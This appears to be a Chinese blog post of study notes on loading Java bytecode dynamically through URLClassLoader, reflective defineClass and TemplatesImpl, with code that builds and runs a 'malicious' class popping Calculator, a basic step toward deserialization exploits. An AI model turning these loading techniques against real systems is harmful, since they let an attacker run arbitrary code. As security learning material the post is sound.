java--动态加载

Java字节码(ByteCode)指的是Java虚拟机执行使用的一类指令,通常被存储在.class文件中。

但是我们所说的"字节码"可以理解的更广义一些----所有能够恢复成一个类并在JVM虚拟机里加载的字节序列,都在我们的讨论范围之内。

Java的ClassLoader是用来加载字节码文件最基础的方法,ClassLoader就是一个"加载器",告诉Java虚拟机如何加载这个类。

ClassLoader就是根据类名来加载类,这个类名是类完整路径。

我们在学习反射的时候利用到的Class.forName就是这种,关于他俩的区别(反射中,Class.forName和ClassLoader区别 - 简书):

在java中Class.forName()和ClassLoader都可以对类进行加载。

区别:

(1)Class.forName除了将类的.class文件加载到jvm中之外,还会对类进行解释,执行类中的static块。

(2)而classloader只干一件事情,就是将.class文件加载到jvm中,不会执行static中的内容,只有在newInstance才会去执行static块。

#Class.forName(name,initialize,loader)带参数也可控制是否加载static块。并且只有调用了newInstance()方法采用调用构造函数,创建类的对象。


1.URLClassLoader

URLClassLoader实际上是我们平时默认使用的AppClassLoader的父类

正常情况下,Java会根据配置项sun.boot.class.path和java.class.path中列举到的基础路径来寻找.class文件加载,这个基础路径分为三种情况:

  • URL未以斜杠/结尾,则认为是一个JAR文件,使用JarLoader来寻找类,即为在Jar包中寻找.class文件

  • URL以斜杠/结尾,且协议名是file,则使用FildLoader来寻找类,即为在本地系统中寻找.class文件

  • URL以斜杠/结尾,且协议名不是file,则使用最基础的Loader来寻找类

利用过程:

首先先构造一个恶意的class文件

import java.io.IOException;


public class hello {
    public hello() throws IOException {
        Runtime.getRuntime().exec("open -a Calculator.app");
    }
}

使用javac hello.java 编译成class文件,然后使用python3 -m http.server,在当前目录启动http的服务,然后建立一个URLClassLoader

import java.net.URL;
import java.net.URLClassLoader;

public class HelloClassLoader {
    public static void main(String[] args)  {
        try {
            URL[] urls = new URL[]{new URL("http://127.0.0.1:8080/")};
            URLClassLoader urlClassLoader = new URLClassLoader(urls);
            Class clazz = urlClassLoader.loadClass("hello");
            clazz.newInstance();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}


利用ClassLoader#defineClass 直接加载字节码文件 

ClassLoader#loadClass-->ClassLoader#findClass->ClassLoader#defineClass

  • loadClass的作用是从已加载的类缓存,父加载器等位置寻找(双亲委派机制),在前面没有找到的情况下,执行findClass

  • findClass的作用是根据URL指定的方式来加载类的字节码,可能会在本地系统,jar包或远程http服务器上读取字节码,然后将其交给defineClass

  • defineClass的作用是处理前面传入的字节码,将其处理成真正的Java类

使用上面编译好的hello.class,然后对其进行base64加密 

然后使用ClassLoader#defineClass加载

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Base64;


public class HelloClassLoader {
    public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, InstantiationException, NoSuchMethodException {
        try {
            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass",
                    String.class, byte[].class, int.class, int.class);
            defineClass.setAccessible(true);
            byte[] codes = Base64.getDecoder().decode("yv66vgAAADQAHAoABgAPCgAQABEIABIKABAAEwcAFAcAFQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAWAQAKU291cmNlRmlsZQEACmhlbGxvLmphdmEMAAcACAcAFwwAGAAZAQAWb3BlbiAtYSBDYWxjdWxhdG9yLmFwcAwAGgAbAQAFaGVsbG8BABBqYXZhL2xhbmcvT2JqZWN0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAEAAQAHAAgAAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAAEAAQABQANAAYACwAAAAQAAQAMAAEADQAAAAIADg==");
            Class expClazz = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "hello", codes, 0, codes.length);
            expClazz.newInstance();
        } catch (Exception e) {
            e.printStackTrace();
        }


    }
}
我们根据上面的描述可以对这些代码进行理解:首先是获取defineClass这个方法,可以看到它的定义是protected,那么首先修改定义域
其次在method.invoke方法的时候,我们知道第一个参数应该是ClassLoader这个对象,那么我们去看一下上面的定义,发现这里有一个定义好的ClassLoader对象scl,
我们跟进它的引用,发现有一个地方是return scl,
然后这里会进入initSystemClassLoader初始化程序
在这就可以获得Object的ClassLoader了


利用TemplatesImp加载字节码

虽然大部分上层开发者不会直接用到defineClass方法,但是Java底层还是有一些类用到了它,比如TemplatesImpl(com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl)这个类中定义了一个内部类TranslateClassloader,我们先构造一个exp,

(关于Exp的构造,TemplatesImpl中对加载字节码是有一定要求的:这个字节码对应的类必须是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的子类,创建Exp的时候需要使它继承AbstractTranslet,然后才可以被TemplatesImpl执行

于是Exp2

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Exp2 extends AbstractTranslet {
    public Exp2() throws IOException {
        Runtime.getRuntime().exec(new String[]{"open", "-na", "Calculator"});
    }


    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {


    }
}

使用javac Exp2.java 编译成class文件,然后使用TemplatesImpl加载


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class TemplatesImplDemo {


    public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, TransformerConfigurationException {
        byte[] classBytes = Files.readAllBytes(Paths.get("/Users/zyer/Downloads/untitled/out/production/untitled/Exp2.class"));
        TemplatesImpl templates = new TemplatesImpl();
        Class clazz = templates.getClass();
        Field bytecodes = clazz.getDeclaredField("_bytecodes");
        Field name = clazz.getDeclaredField("_name");
        Field _tfactory = clazz.getDeclaredField("_tfactory");

        bytecodes.setAccessible(true);
        name.setAccessible(true);
        _tfactory.setAccessible(true);

        bytecodes.set(templates, new byte[][]{classBytes});
        name.set(templates, "zyer");
        _tfactory.set(templates, new TransformerFactoryImpl());
        templates.newTransformer();


    }
}
我们通过学习defineClass可以知道,
ClassLoader#loadClass-->ClassLoader#findClass->ClassLoader#defineClass
我们需要寻找哪里会使用defineClass,通过寻找
发现TranslateClassloader其中重写了defineClass,这个方法是static final,相当于定义常量,那么我们可以直接调用,
从TransletClassLoader#defineClass()向前追溯一下调用链(右键—>find Usages)
TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()
-> TransletClassLoader#defineClass()
我们从第一个函数开始跟一下,寻找判断点
首先在getTransletInstance中,发现如果_name=null的话,会返回null,那么我们需要给_name赋值,然后_class=null的话,会进入defineTranletClasses,那么让_class为null即可
进入defineTranletClasses,在这里的判断发现需要_bytecodes不能为null,且在run函数中存在使用_tfactory参数,因为这个函数还存在返回值,那么我们继续跟进TransletClassLoader
进入TransletClassLoader,我们发现定义了一个_loadedExternalExtensionFunctions,这个map的值会与调用的TransletClassLoader,如果是两个参数的话,会给这个map赋值,且如果_loadedExternalExtensionFunctions不为null的时候会使用get方法,那么就需要TransletClassLoader传入的第二个参数不为空,那么_tfactory也不能为空
那么payload构造关键就是传参数,使用Field进行参数赋值
Field bytes = name.getDeclaredField("_bytecodes");
Field name1 = name.getDeclaredField("_name");
Field factory = name.getDeclaredField("_tfactory");
最后调用getOutputProperties来进行整体的调用

参考(Java动态加载字节码的方法

最近由于毕业答辩啥的以及学校的一些原因导致最近几天没有学习,调整一天就需要重新恢复学习了。

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值